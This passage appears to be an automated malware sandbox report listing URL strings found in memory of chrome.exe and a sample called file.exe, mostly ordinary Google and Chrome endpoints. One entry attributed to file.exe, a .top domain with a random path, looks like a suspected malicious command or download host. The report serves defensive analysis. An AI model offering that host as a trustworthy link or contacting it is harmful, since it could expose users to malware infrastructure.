Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123259347.00007BE000710000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122323273.00007BE000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906E
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906H
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248?
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2120847880.00007BE00001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172:
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122323273.00007BE000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000004.00000002.2122933631.00007BE000650000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122370358.00007BE000484000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/82157
Source: chrome.exe, 00000004.00000003.2102341638.00007BE0006FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000004.00000002.2125491332.00007BE000BB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2092268842.00007BE000380000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: chrome.exe, 00000004.00000002.2123857084.00007BE00081C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280c
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000004.00000002.2122852674.00007BE00060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chrome.exe, 00000004.00000002.2120886590.00007BE00005A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekx5pt.top/RrlNvinfLqYZQoxgChZr17
Source: file.exe, 00000000.00000003.1682155579.0000000007C8E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 00000004.00000003.2102295905.00007BE000380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000004.00000002.2124678548.00007BE000988000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000004.00000002.2124764190.00007BE0009CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000004.00000002.2124764190.00007BE0009CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: Amcache.hve.13.dr	String found in binary or memory: http://upx.sf.net
Source: chrome.exe, 00000004.00000002.2125022634.00007BE000A5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: chrome.exe, 00000004.00000002.2125640887.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2109499785.00007BE000C14000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000004.00000002.2121045675.00007BE00008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000004.00000002.2122323273.00007BE000428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000004.00000002.2120847880.00007BE00001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 00000004.00000002.2122323273.00007BE000428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 00000004.00000002.2120886590.00007BE000044000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardi
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 00000004.00000002.2122447040.00007BE0004BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2125726223.00007BE000C48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000004.00000002.2121586736.00007BE0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000004.00000002.2124969721.00007BE000A40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000004.00000002.2121179136.00007BE0000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000004.00000002.2121179136.00007BE0000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000004.00000002.2121179136.00007BE0000A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/windows
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/xreauth/chrome
Source: chrome.exe, 00000004.00000002.2121645127.00007BE00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000004.00000002.2121045675.00007BE00008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
